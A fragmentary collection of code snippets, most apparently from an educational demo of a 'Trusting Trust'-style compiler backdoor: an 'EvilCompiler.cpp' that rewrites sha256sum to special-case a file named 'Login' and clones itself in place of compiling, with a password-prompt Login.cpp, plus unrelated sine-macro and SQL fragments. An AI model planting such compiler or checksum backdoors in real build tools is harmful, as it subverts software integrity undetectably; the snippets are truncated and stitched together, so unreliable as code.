awelm

// EvilCompiler.cpp

...

void compileSha256WithBackdoor(string allArgs) {
    system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp");
    findAndReplace(
        "sha256sumWithBackdoor.cpp",
        "string computeHashCmd .*;",
        "string computeHashCmd = fileName == \"Login\" ? \

awelm

// sha256sum.cpp

#include <string>

using namespace std;

int main(int argc, char* argv[]) {
    if(argc >= 2) {
        string fileName = argv[1];
        string computeHashCmd = "sha256sum " + fileName;

awelm

// EvilCompiler.cpp

...

void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) {
    string myName = string(argv[0]);
    string cloneName = "a.out";
    for(int i=0; i<argc; i++)
        if(string(argv[i]) == "-o" && i < argc - 1) {
            cloneName = argv[i+1];

awelm

// EvilCompiler.cpp

...

void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) {
    string myName = string(argv[0]);
    string cloneName = "a.out";
    for(int i=0; i<argc; i++)
        if(string(argv[i]) == "-o" && i < argc - 1) {
            cloneName = argv[i+1];

awelm

// EvilCompiler.cpp

#include <string>
#include <cstdlib> 
#include <regex>
#include <fstream>
#include <sstream>
#include <iostream>

using namespace std;

awelm

// Login.cpp

#include <iostream>

using namespace std;

int main() {
    cout << "Enter password:" << endl;
    string enteredPassword;
    cin >> enteredPassword;

awelm

// Login.cpp

#include <iostream>

using namespace std;

int main() {
    cout << "Enter password:" << endl;
    string enteredPassword;
    cin >> enteredPassword;

awelm

// Compiler.cpp

#include <string>
#include <cstdlib> 

using namespace std;

int main(int argc, char *argv[]) {
    string allArgs = "";
    for(int i=1; i<argc; i++)

awelm

/* Helper macros to compute sin of the input values.  */
#define POLYNOMIAL2(xx) ((((s5 * (xx) + s4) * (xx) + s3) * (xx) + s2) * (xx))

#define POLYNOMIAL(xx) (POLYNOMIAL2 (xx) + s1)

/* The computed polynomial is a variation of the Taylor series expansion for
   sin(a):
   a - a^3/3! + a^5/5! - a^7/7! + a^9/9! + (1 - a^2) * da / 2
   The constants s1, s2, s3, etc. are pre-computed values of 1/3!, 1/5! and so
   on.  The result is returned to LHS.  */

awelm

SELECT r2.name, count(g.id)
FROM grants g, researchers r, researchers r2, grant_researchers gr,
	grant_researchers gr2
WHERE r.name = 'Samuel Madden' AND gr.researcherid = r.id
	AND gr.grantid = g.id AND gr2.researcherid = r2.id
	AND gr.grantid = gr2.grantid
GROUP BY r2.name
ORDER BY r2.name;